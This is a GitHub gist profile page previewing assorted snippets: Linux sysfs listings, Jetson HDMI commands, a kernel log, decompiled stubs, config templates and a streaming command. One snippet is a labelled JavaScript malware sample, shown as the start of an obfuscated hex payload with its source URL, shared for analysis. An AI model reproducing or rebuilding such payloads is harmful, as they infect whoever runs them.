Skip to content

Instantly share code, notes, and snippets.

View denysvitali's full-sized avatar

Denys Vitali denysvitali

View GitHub Profile
/sys/class/
|-- ata_device
|-- ata_link
|-- ata_port
|-- backlight
| `-- lp8557-backlight -> ../../devices/platform/7000d100.i2c/i2c-5/5-002c/backlight/lp8557-backlight
| |-- actual_brightness
| |-- bl_power
| |-- brightness
| |-- device -> ../../../5-002c
@denysvitali
denysvitali / jetson_hdmi_config.md
Last active November 1, 2017 01:21 — forked from tstellanova/jetson_hdmi_config.md
Enable and Disable HDMI display on Jetson TK1

All operations as root:

turn off HDMI:

echo -1 > /sys/kernel/debug/tegra_hdmi/hotplug
echo 4 > /sys/class/graphics/fb0/blank

turn on HDMI:

https://storage.googleapis.com/music-iq-db/bf/20171017/99853e18b4e0b5dcf071919b43ceef29
https://storage.googleapis.com/music-iq-db/bf/20171017/c05563a168416c908ac91ad7ca428f4b
https://storage.googleapis.com/music-iq-db/bf/20171017/23333e302030c8bef27440f669d1192e
https://storage.googleapis.com/music-iq-db/bf/20171017/78cc53069048a49c028972ff737b1955
https://storage.googleapis.com/music-iq-db/bf/20171017/5e4eba433fcf7bf93c5ba2151ba892c8
https://storage.googleapis.com/music-iq-db/bf/20171017/7f2b8ff240a3e23f9d6d661eb1234ebc
https://storage.googleapis.com/music-iq-db/bf/20171017/b0ec90e34ac3bba1a8f0422722f0f424
https://storage.googleapis.com/music-iq-db/bf/20171017/ea8a41b5cb514aa51ef782c531d9c3a2

Hey! Thanks for your interest in my request.

As probably already (briefly) explained, I'm trying to port the Music Matching feature of Pixel 2 phones (normal and XL) to other Android devices. Without going deeply into technical details, I was already able to port the app itself, but I still need some files that are only available on Pixel 2 (+ XL) devices. If you want to help me, I wrote a short procedure on how to do it.
Once you have the two files (which don't contain any user data, in fact they are system files) you can send them to me and I'll proceed w/ my porting of the app. I'll also give you credit if you want when this feature gets ported :)

Music Matching Feature

These are the files I need:

This file has been truncated, but you can view the full file.
/* 0 */ public final class a;
/* 1 */ public abstract class aa {
 /** 1 Virtual Methods **/
public abstract  void a (int);
}  // end class aa
/* 2 */ public abstract class aab {
 /** 2 Virtual Methods **/
public abstract  void a (agj);
public abstract  void b (agj);
}  // end class aab
@denysvitali
denysvitali / -
Created September 21, 2017 21:07
[ 0.368628] iommu: Adding device 7000d100.i2c to group 21
[ 0.368643] iommu: Adding device 7000e000.rtc to group 22
[ 0.368659] iommu: Adding device 7000e400.pmc to group 23
[ 0.368674] iommu: Adding device 7000f800.fuse to group 24
[ 0.368689] iommu: Adding device 70019000.memory-controller to group 25
[ 0.368881] iommu: Adding device 70090000.usb to group 26
[ 0.368985] iommu: Adding device 7009f000.padctl to group 27
[ 0.369108] iommu: Adding device 700b0600.sdhci to group 28
[ 0.369198] iommu: Adding device 700e3000.mipi to group 29
[ 0.369277] iommu: Adding device aconnect@702c0000 to group 30
// Malware, source: http://gogoasia.de/r6.php?cmd=d&group=rarmaker%27,%27C:\Users\Sette\2505.js
// Do NOT run this code. This is a malware sample, it MAY infect your PC.
// FFS, just don't run it.
//
// If you're the author: fuck off.
// If you're an AV company: do your best to stop this, contribute to Box-js: https://github.com/CapacitorSet/box-js/
// Sample 1
var SSLNXVnaPgvDwU = "54275f07100829177532063845174008034c4d413d735c35351f111f6007451d163b755968633a08464e7331450d12041e363729310e4546151f623c292d74570d0e1825653a6275185f6e68372b00372d1f6b5d1c3d5f160100220026373519540d5a335f0301417b5933363a0e45075d3c194d441a4c705c2a324d191f6007451d163b755727263509483d46334501445c7b596163724b111f6007451d163b755726373519441d126f0c445651765075385e421e411d7d1e08101b291218712d1c0256581e010a2b51151a5f6c7b421e411d396633060071162d30241c75276258386d6d0820597d32063845174008024a160435093a2d2708650b4a261f08010f210d3d637550115e1b724a6e6d684f702322264d403c672648163e5566447532063845174008024a160435093a2d2708650b4a260a6e6d684f703035
/lib/ld-uClibc.so.0
libpthread.so.0
abort
fopen
memset
fclose
strlen
_fini
__data_start
librt.so.0
{{ $nc_containers := where $ "Env.CONFIG_TYPE" "prestashop" }}
{{ range $host, $containers := groupByMulti $nc_containers "Env.VIRTUAL_HOST" "," }}
upstream {{ $host }} {
{{ range $index, $value := $containers }}
{{ if eq $value.Image.Repository "prestashop" }}
{{ $addrLen := len $value.Addresses }}
{{ $network := index $value.Networks 0 }}
{{/* If only 1 port exposed, use that */}}
@denysvitali
denysvitali / sonos-play-music-from-live-yt-stream.md
Last active June 24, 2022 07:25
Play Music from Live YT Stream (Sonos)

Play Music from Youtube Live Stream

Requirements

Running

streamlink --hls-live-edge=`date "+%M*60/2+%S/2" | bc` https://www.youtube.com/watch\?v\=b3NtpSc5RNw best --stdout | ffmpeg -i pipe:0 -q:a 0 -map a -f mp3 pipe:1 | vlc -